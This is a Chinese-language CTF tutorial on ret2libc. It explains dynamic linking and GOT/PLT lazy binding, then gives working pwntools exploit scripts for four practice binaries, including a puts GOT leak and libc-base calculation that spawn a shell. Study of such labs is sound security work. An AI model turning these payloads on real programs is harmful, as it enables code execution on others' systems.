ret2libc
原理:
ret2libc 这种攻击方式主要是针对 动态链接(Dynamic linking) 编译的程序,因为正常情况下是无法在程序中找到像 system() 、execve() 这种系统级函数,因为程序是动态链接生成的,所以在程序运行时会调用 libc.so (程序被装载时,动态链接器会将程序所有所需的动态链接库加载至进程空间,libc.so 就是其中最基本的一个),libc.so 是 linux 下 C 语言库中的运行库glibc 的动态链接版,并且 libc.so 中包含了大量的可以利用的函数,包括 system() 、execve() 等系统级函数,我们可以通过找到这些函数在内存中的地址覆盖掉返回地址来获得当前进程的控制权。通常情况下,我们会选择执行 system(“/bin/sh”) 来打开 shell。
什么是动态链接
动态链接 是指在程序装载时通过 动态链接器 将程序所需的所有 动态链接库(Dynamic linking library) 装载至进程空间中( 程序按照模块拆分成各个相对独立的部分),当程序运行时才将他们链接在一起形成一个完整程序的过程。它诞生的最主要的的原因就是 静态链接 太过于浪费内存和磁盘的空间,并且现在的软件开发都是模块化开发,不同的模块都是由不同的厂家开发,在 静态链接 的情况下,一旦其中某一模块发生改变就会导致整个软件都需要重新编译,而通过 动态链接 的方式就推迟这个链接过程到了程序运行时进行。这样做有以下几点好处:
- 节省内存、磁盘空间:
如磁盘中有两个程序,p1、p2,且他们两个都包含 lib.o 这个模块,在 静态链接 的情况下他们在链接输出可执行文件时都会包含 lib.o 这个模块,这就造成了磁盘空间的浪费。当这两个程序运行时,内存中同样也就包含了这两个相同的模块,这也就使得内存空间被浪费。当系统中包含大量类似 lib.o 这种被多个程序共享的模块时,也就会造成很大空间的浪费。在 动态链接 的情况下,运行 p1 ,当系统发现需要用到 lib.o ,就会接着加载 lib.o 。这时我们运行 p2 ,就不需要重新加载 lib.o 了,因为此时 lib.o 已经在内存中了,系统仅需将两者链接起来,此时内存中就只有一个 lib.o 节省了内存空间。 - 程序更新更简单:
比如程序 p1 所使用的 lib.o 是由第三方提供的,等到第三方更新、或者为 lib.o 打补丁的时候,p1 就需要拿到第三方最新更新的 lib.o ,重新链接后在将其发布给用户。程序依赖的模块越多,就越发显得不方便,毕竟都是从网络上获取新资源。在 动态链接 的情况下,第三方更新 lib.o 后,理论上只需要覆盖掉原有的 lib.o ,就不必重新链接整个程序,在程序下一次运行时,新版本的目标文件就会自动装载到内存并且链接起来,就完成了升级的目标。 - 增强程序扩展性和兼容性:
动态链接 的程序在运行时可以动态地选择加载各种模块,也就是我们常常使用的插件。软件的开发商开发某个产品时会按照一定的规则制定好程序的接口,其他开发者就可以通过这种接口来编写符合要求的动态链接文件,以此来实现程序功能的扩展。增强兼容性是表现在 动态链接 的程序对不同平台的依赖差异性降低,比如对某个函数的实现机制不同,如果是 静态链接 的程序会为不同平台发布不同的版本,而在 动态链接 的情况下,只要不同的平台都能提供一个动态链接库包含该函数且接口相同,就只需用一个版本了。
总而言之,动态链接 的程序在运行时会根据自己所依赖的 动态链接库 ,通过 动态链接器 将他们加载至内存中,并在此时将他们链接成一个完整的程序。Linux 系统中,ELF 动态链接文件被称为 动态共享对象(Dynamic Shared Objects) , 简称 共享对象 一般都是以 “.so” 为扩展名的文件;在 windows 系统中就是常常软件报错缺少 xxx.dll 文件。
GOT与PLT
参考:
https://www.yuque.com/cyberangel/rg9gdm/crpf61#
https://blog.youkuaiyun.com/Zheng__Huang/article/details/119484353
https://worktile.com/kb/p/30008
这两个必须放到一起看。
GOT(Global Offset Table
|全局偏量表),包含所有需要动态链接的外部函数的地址(在第一次执行后)
PLT(Procedure Link Table
|过程链接表),过程链接表,包含调用外部函数的跳转指令(跳转到GOT表中),以及初始化外部调用指令(用于链接器动态绑定dl_runtime_resolve)
初探
首先,系统调用(call)了在动态对象里的函数,例如scanf
用汇编表示就是如下
call scanf@plt #不是真的这样写,只是举个例子
然后我们跟进一下,会发现有三行代码
jmp QWORD PTR [rip+0x200a4a] #0x201020
push 0x1
jmp 0x5b0
意思是:
jmp 一个地址
push 一个值到栈
jmp 一个地址
其实看函数名称就可以知道这里是scanf
的PLT表,PLT是什么,先按下不表,我们先看第一个jmp
跳到哪了。第一个jmp
语句是jmp QWORD PTR [rip+0x200a4a] #0x201020
,其中QWORD PTR
是一个操作数大小限定符,QWORD
代表 “Quad - Word”,即 8 个字节(64 位)。PTR
是 “pointer” 的缩写,表示指针类型。所以 “QWORD PTR” 的意思是按照 8 字节(64 位)的大小来读取内存中的数据作为指针。最后的[rip+0x200a4a]
是一种相对寻址方式,以rip
的值为基础,加上偏移量0x200a4a
,计算出一个内存地址,即为0x201020
在这个内存地址上读取数据。而这个地址就是就是PLT表对应的GOT表,而0x201020
正是储存着下一条命令push
的内存地址,我们用gdb的命令查看一下内存就可以看到,这个0x5d6
就是push 0x1
的地址。
0x201020: 0x000005d6 0x00000000 0x00000000 0x0000000
于是,我们就总结出了使用动态链接后的函数调用过程,即为
call scnaf --> scanf的PLT表 --> scanf的GOT表
深入
上面是动态链接的工作过程的简述,下面我们讨论为什么要这样干:就是延迟绑定机制,这是一种在程序过程中动态链接库函数调用的优化机制。在动态链接中,程序中的函数调用可能会引用外部共享库(如 Linux 中的.so 文件)中的函数。延迟绑定机制不是在程序启动时就解析和绑定所有外部函数的地址,而是将这个过程推迟到函数第一次被调用时。但是此时此刻程序已经编译就好了,不可能把解析后的地址塞到程序要调用函数的那个地方,所以就需要PLT表和GOT表,其中,PLT表是一个代码段,包含了一系列用于调用外部函数的指令序列,而GOT 是一个数据段,用于存储外部函数的实际地址。
但是,这里就又有了一个新问题,当这个函数是第一次调用呢?即GOT表中还没有储存这个函数的实际地址的时候,程序有时怎样运行的呢,其实很简单,如下是首次调用流程
- 当程序第一次调用一个外部函数时,控制流会转到 PLT 中的相应条目。这个 PLT 条目会通过 GOT 中的相应条目来检查函数地址是否已经被解析。
- 由于是第一次调用,GOT 中的函数地址通常还未被解析,此时 PLT 中的代码会调用一个特殊的运行时解析函数(如在 Linux 系统中是
dl_runtime_resolve
)来查找并确定外部函数的实际地址。 - 一旦确定了函数地址,这个地址就会被存储在 GOT 中对应的位置。
首次调用完后,GOT表中就储存了共享对象中某个函数的地址,下一次调用时,程序就会从GOT表中获取地址而不再需要运行时解析,这样就提高了后续调用的效率。
下面,我们来看一个实例,(来源:https://www.yuque.com/cyberangel/rg9gdm/crpf61#)
编写两个模块,一个是程序自身的代码模块,另一个是共享对象模块。以此来学习动态链接的程序是如何进行模块内、模块间的函数调用和数据访问,共享文件如下:
/*共享对象*/
got_extern.c
#include <stdio.h>
int b;
void test()
{
printf("test\n");
}
编写代码模块:
/*代码模块*/
got.c
#include <stdio.h>
static int a; <--
extern int b; <--
extern void test(); <--
int fun()
{
a = 1;
b = 2;
}
int main(int argc, char const *argv[])
{
fun();
test();
printf("hey!");
return 0;
}
解释一下带箭头的三句:
static int a;
:声明了一个静态的整型全局变量a
。静态全局变量的特点是它的作用域仅限于当前源文件(在这个例子中就是got.c
文件),其他源文件无法直接访问它。这里对a
进行了声明但未初始化,在 C 语言中,未初始化的静态全局变量会被自动初始化为 0。extern int b;
:声明了一个整型的外部变量b
。这表明b
是在其他源文件中定义的,在当前源文件中只是声明要使用它。extern void test();
:声明了一个外部函数test()
,说明这个函数是在其他源文件中定义的,同样在当前源文件中只是声明要使用它,在链接阶段需要和其定义所在的源文件进行正确链接。
然后将代码模块和共享模块一同编译
之后用objdump(Linux自带的反汇编命令)查看反汇编代码objdump -D -Mintel got:
000011b9 <fun>:
11b9: 55 push ebp
11ba: 89 e5 mov ebp,esp
11bc: e8 63 00 00 00 call 1224 <__x86.get_pc_thunk.ax>
11c1: 05 3f 2e 00 00 add eax,0x2e3f
11c6: c7 80 24 00 00 00 01 mov DWORD PTR [eax+0x24],0x1
11cd: 00 00 00
11d0: 8b 80 ec ff ff ff mov eax,DWORD PTR [eax-0x14]
11d6: c7 00 02 00 00 00 mov DWORD PTR [eax],0x2
11dc: 90 nop
11dd: 5d pop ebp
11de: c3 ret
000011df <main>:
11df: 8d 4c 24 04 lea ecx,[esp+0x4]
11e3: 83 e4 f0 and esp,0xfffffff0
11e6: ff 71 fc push DWORD PTR [ecx-0x4]
11e9: 55 push ebp
11ea: 89 e5 mov ebp,esp
11ec: 53 push ebx
11ed: 51 push ecx
11ee: e8 cd fe ff ff call 10c0 <__x86.get_pc_thunk.bx>
11f3: 81 c3 0d 2e 00 00 add ebx,0x2e0d
11f9: e8 bb ff ff ff call 11b9 <fun>
11fe: e8 5d fe ff ff call 1060 <test@plt>
1203: 83 ec 0c sub esp,0xc
1206: 8d 83 08 e0 ff ff lea eax,[ebx-0x1ff8]
120c: 50 push eax
120d: e8 2e fe ff ff call 1040 <printf@plt>
1212: 83 c4 10 add esp,0x10
1215: b8 00 00 00 00 mov eax,0x0
121a: 8d 65 f8 lea esp,[ebp-0x8]
121d: 59 pop ecx
121e: 5b pop ebx
121f: 5d pop ebp
1220: 8d 61 fc lea esp,[ecx-0x4]
1223: c3 ret
模块内部调用:
main()函数中调用 fun()函数 ,指令为:11f9: e8 bb ff ff ff call 11b9 <fun>
,
fun() 函数所在的地址为 0x000011b9 ,机器码 e8 代表 call 指令,为什么后面是 bb ff ff ff 而不是 b9 11 00 00 (小端存储,数据的低位字节存于低地址,高位字节存于高地址。)呢?这后面的四个字节代表着目的地址相对于当前指令的下一条指令地址的偏移,即 0x11f9 + 0x5 + (-69) = 0x11b9 ,0xffffffbb 是 -69 的补码形式,这样做就可以使程序无论被装载到哪里都会正常执行。(太底层了,理解就行)
模块内部数据访问
ELF 文件是由很多很多的 段(segment) 所组成,常见的就如 .text (代码段) 、.data(数据段,存放已经初始化的全局变量或静态变量)、.bss(数据段,存放未初始化全局变量)等,这样就能做到数据与指令分离互不干扰。在同一个模块中,一般前面的内存区域存放着代码后面的区域存放着数据(这里指的是 .data 段)。那么指令是如何访问远在 .data 段 中的数据呢?
观察 fun() 函数中给静态变量 a 赋值的指令:
11bc: e8 63 00 00 00 call 1224 <__x86.get_pc_thunk.ax>
11c1: 05 3f 2e 00 00 add eax,0x2e3f
11c6: c7 80 24 00 00 00 01 mov DWORD PTR [eax+0x24],0x1
11cd: 00 00 00
它首先调用了 __x86.get_pc_thunk.ax() 函数, __x86.get_pc_thunk.ax()函数代码如下:
00001224 <__x86.get_pc_thunk.ax>:
1224: 8b 04 24 mov eax,DWORD PTR [esp]
1227: c3 ret
这个函数的作用就是把返回地址的值放到 eax 寄存器中,也就是把0x000011c1保存到eax中,然后再加上 0x2e3f ,最后再加上 0x24 。即 0x000011c1 + 0x2e3f + 0x24 = 0x4024,这个值就是相对于模块加载基址的值。通过这样就能访问到模块内部的数据。

模块间数据访问
变量 b 被定义在其他模块中,其地址需要在程序装载时才能够确定。利用到前面的代码地址无关的思想,把地址相关的部分放入数据段中,然而这里的变量 b 的地址与其自身所在的模块装载的地址有关。解决:ELF 中在数据段里面建立了一个指向这些变量的指针数组,也就是我们所说的 GOT 表(Global offset Table, 全局偏移表 ),它的功能就是当代码需要引用全局变量时,可以通过 GOT 表间接引用。
查看反汇编代码中是如何访问变量 b 的:
11bc: e8 63 00 00 00 call 1224 <__x86.get_pc_thunk.ax>
11c1: 05 3f 2e 00 00 add eax,0x2e3f
11c6: c7 80 24 00 00 00 01 mov DWORD PTR [eax+0x24],0x1
11cd: 00 00 00
11d0: 8b 80 ec ff ff ff mov eax,DWORD PTR [eax-0x14]
11d6: c7 00 02 00 00 00 mov DWORD PTR [eax],0x2
计算变量 b 在 GOT 表中的位置,0x11c1 + 0x2e3f - 0x14 = 0x3fec ,查看 GOT 表的位置。
命令 objdump -h got ,查看ELF文件中的节头内容:
.got 00000018 00003fe8 00003fe8 00002fe8 2**2
这里可以看到 .got 在文件中的偏移是 0x00003fe8,现在来看在动态连接时需要重定位的项,使用 objdump -R got 命令
00003fec R_386_GLOB_DAT b
可以看到变量b的地址需要重定位,位于0x00003fec,在GOT表中的偏移就是4,也就是第二项(每四个字节为一项),这个值正好对应之前通过指令计算出来的偏移值。
模块间函数调用
模块间函数调用用到了延迟绑定,都是函数名@plt的形式
DEP防护
开启之后栈上就没有可执行权限了,和NX保护很像
实战
实例1
这个实例先对简单,和ret2text很像
**示例:**https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/stackoverflow/ret2libc/ret2libc1
查一下保护,开启了NX保护,32位
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Debuginfo: Yes
查看源码
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("RET2LIBC >_<");
gets(s);
return 0;
}
发现了溢出点gets(s);
,查看栈,或者手动测量,得知偏移量是112字节(0x70)
然后我们找/bin/sh
地址为0x08048720
然后我们找system
函数,它在secure
函数中被调用,但是它在动态库中,所以我们可以找到system@plt
的地址,我们可以直接覆盖函数返回地址使其调用 system()@plt 模拟 system() 函数真实调用。地址为08048460
于是,我们就可以构架如下exp:
from pwn import *
sh = process('./ret2libc1')
binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
sh.sendline(payload)
sh.interactive()
中间的'b' * 4
是一个虚假的返回地址,因为调用一个函数是先要把一个返回地址压入栈,然后才是参数
实例2
示例:https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/stackoverflow/ret2libc/ret2libc1
查一下保护,NX保护开启,32位程序
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Debuginfo: Yes
运行一下,啥也没有
RET2LIBC >_<
114514
~$
看一下源码,首先是main
函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("RET2LIBC >_<");
gets(s); <--
return 0;
}
可以看到用了gets
函数,是一个溢出点。可以通过IDA或者手动测量得出栈的长度,为112字节。
再看一下旁边的secure
函数
void secure()
{
time_t v0; // eax
int input; // [esp+18h] [ebp-10h] BYREF
int secretcode; // [esp+1Ch] [ebp-Ch]
v0 = time(0);
srand(v0);
secretcode = rand();
__isoc99_scanf("%d", &input);
if ( input == secretcode )
system("shell!?");
}
逻辑简单来说就是以时间戳为种子,生成随机数,与用户输入的值相比较,如果相同,执行system
函数。
而且system
处于共享对象中,第一次调用函数时,会把函数真实的地址写入got表中,所以我们可以直接覆盖函数返回地址使其调用 system()@plt 模拟 system() 函数真实调用。IDA 中找到 system@plt 的地址
既然有了system
函数,我们接下来找/bin/sh
,既可以通过ropgadget找,也可以通过IDA找,最后其地址为0x08048720
最后,我们构建如下exp:
from pwn import *
sh = process('./ret2libc1')
binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
sh.sendline(payload)
sh.interactive()
实例3
示例文件:https://github.com/ctf-wiki/ctf-challenges/blob/master/pwn/stackoverflow/ret2libc/ret2libc2
查一下保护,NX保护,32位
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Debuginfo: Yes
运行一下,没啥特别
Something surprise here, but I don't think it will work.
What do you think ????
看一下源码,main
函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("Something surprise here, but I don't think it will work.");
printf("What do you think ?");
gets(s);
return 0;
}
有gets
函数,有溢出点,栈长112字节
看一下secure
函数
void secure()
{
time_t v0; // eax
int input; // [esp+18h] [ebp-10h] BYREF
int secretcode; // [esp+1Ch] [ebp-Ch]
v0 = time(0);
srand(v0);
secretcode = rand();
__isoc99_scanf(&unk_8048760, &input);
if ( input == secretcode )
system("no_shell_QQ");
}
和上面一样,随机数,并且调用了system
函数,并且在动态对象里,而且这是第一次调用,system@plt
地址是0x08048490
接下来我们找/bin/sh
,但是,没有找到/bin/sh
,但是,我们却在bss段内找到一个可利用空间。
那么我们就可以构建如下exp:
from pwn import *
bss_addr = 0x0804A080
gets_plt = 0x08048460
sys_plt = 0x08048490
io=process('./ret2libc2')
io.recvuntil('What do you think ?')
payload = 'A'*112 + p32(gets_plt) + p32(sys_plt) + p32(bss_addr)+p32(bss_addr)
io.sendline(payload)
io.sendline('/bin/sh')
io.interactive()
payload解读:
首先使用112个A字符填充栈,使栈发生溢出,再用gets函数的plt地址来覆盖原返回地址,使程序流执行到gets函数,参数就是bss段的地址(bss段的变量),目的是为了使用gets函数将/bin/sh 写入到bss段中。接下来在使用systm函数覆盖gets函数的返回地址,使程序执行到system函数,其参数也是bss段中的内容,也就是/bin/sh。最后的io.sendline(‘/bin/sh’)是为了将bss段上变量的内容替换成/bin/sh(也就是说在执行sendline(‘/bin/sh’)之前,bss段上的变量未被初始化,其内容为空)。
至于为什么要写成payload = ‘A’*112 + p32(gets_plt) + p32(sys_plt) + p32(bss_addr)+p32(bss_addr),那是因为sys_plt要当作gets_plt的返回值。
实例4
示例:https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/stackoverflow/ret2libc/ret2libc3
查一下保护,NX保护,32位
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Debuginfo: Yes
源码和上两个差不多,栈长112字节,与上两个不同的是,这次既没有system
函数,也没有/bin/sh
。
那我们现在的当务之急是找到system
函数的地址,那我们应该如何得到呢?这里主要利用了两个知识点:
- system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
- 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的12位并不会发生改变。而 libc 在github上有人进行收集,如下https://github.com/niklasb/libc-database
所以我们只要得到libc的版本,就可以知道了system函数和/bin/sh的偏移量。知道偏移量后,再找到libc的基地址,就可以得到system函数的真实地址,就可以做我们想要做的事情了,我们可以通过一个公式来得到system的真实地址。
libc基地址 + 函数偏移量 = 函数真实地址
举个例子:如计算system
函数在内存空间中的函数地址:
- 拿到__libc_start_main函数在内存空间中的地址addr_main
- __libc_start_main函数相对于libc.so.6的起始地址是addr_a(前提是需要知道libc的版本)
- system函数相对于libc.so.6的起始地址是addr_b
- 则system函数在内存中真正的地址为addr_main + addr_b - addr_a
问题又来了,我们该如何泄露函数的真实地址的,这里涉及到了libc的延迟绑定技术,第一次调用时,发生如下过程

第二次调用时,发生如下过程:

我们要泄露函数的真实地址,一般的方法是采用got表泄露,因为只要之前执行过puts函数,got表里存放着就是函数的真实地址了,这里我用的是puts函数,因为程序里已经运行过了puts函数,真实地址已经存放到了got表内。我们得到puts函数的got地址后,可以把这个地址作为参数传递给puts函数,则会把这个地址里的数据,即puts函数的真实地址给输出出来,这样我们就得到了puts函数的真实地址。
脚本如下:
from pwn import *
p = process('./ret2libc3')
elf = ELF('./ret2libc3')
puts_got_addr = elf.got['puts']#得到puts的got的地址,这个地址里的数据即函数的真实地址,即我们要泄露的对象
puts_plt_addr = elf.plt['puts']#puts的plt表的地址,我们需要利用puts函数泄露
main_plt_addr = elf.symbols['_start']#返回地址被覆盖为main函数的地址。使程序还可被溢出
print ("puts_got_addr = ",hex(puts_got_addr))
print ("puts_plt_addr = ",hex(puts_plt_addr))
print ("main_plt_addr = ",hex(main_plt_addr))
payload = b''
payload += b'A'*112
payload += p32(puts_plt_addr)#覆盖返回地址为puts函数
payload += p32(main_plt_addr)#这里是puts函数返回的地址。
payload += p32(puts_got_addr)#这里是puts函数的参数
p.recv()#接收程序一开始输出的一些信息
p.sendline(payload)
puts_addr = u32(p.recv()[0:4])#将地址输出出来后再用332解包,此时就得到了puts函数的真实地址。
print ("puts_addr = ",hex(puts_addr))
输出结果如下:
[+] Starting local process './ret2libc3': pid 2997
[*] '/home/xyq/ret2libc3_/ret2libc3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Debuginfo: Yes
puts_got_addr = 0x804a018
puts_plt_addr = 0x8048460
main_plt_addr = 0x80484d0
puts_addr = 0xea8692a0
[*] Stopped process './ret2libc3' (pid 2997)
每一次运行时puts_addr
的值都会发生改变,这是因为Linux系统开了ASLR(地址随机化)保护,但是它不会改变最低12位,因为需要内存对齐,在我的虚拟机上,puts
函数的真实地址的最低12位为2a0
,可以在这个网站上可以根据后十二位查到这个函数所在的libc的版本,我查到了7个版本,所以,这里我们用一个小工具LibcSearcher
包
于是,我们对EXP做出如下修改:
from pwn import *
from LibcSearcher import *
p = process('./ret2libc3')
elf = ELF('./ret2libc3')
puts_got_addr = elf.got['puts']#得到puts的got的地址,这个地址里的数据即函数的真实地址,即我们要泄露的对象
puts_plt_addr = elf.plt['puts']#puts的plt表的地址,我们需要利用puts函数泄露
main_plt_addr = elf.symbols['_start']#返回地址被覆盖为main函数的地址。使程序还可被溢出
print ("puts_got_addr = ",hex(puts_got_addr))
print ("puts_plt_addr = ",hex(puts_plt_addr))
print ("main_plt_addr = ",hex(main_plt_addr))
payload = b''
payload += b'A'*112
payload += p32(puts_plt_addr)#覆盖返回地址为puts函数
payload += p32(main_plt_addr)#这里是puts函数返回的地址。
payload += p32(puts_got_addr)#这里是puts函数的参数
p.recv()#接收程序一开始输出的一些信息
p.sendline(payload)
puts_addr = u32(p.recv()[0:4])#将地址输出出来后再用332解包,此时就得到了puts函数的真实地址。
print ("puts_addr = ",hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
libcbase = puts_addr - libc.dump("puts") #libc基地址 = 函数真实地址 - 函数的偏移量
system_addr = libcbase + libc.dump("system")
binsh_addr = libcbase + libc.dump("str_bin_sh")
payload2 = b'A'*112 + p32(system_addr) + p32(1234) + p32(binsh_addr)
p.recv()
p.sendline(payload2)
p.interactive()
如果无法查询到libc库的信息,可以看看这篇文章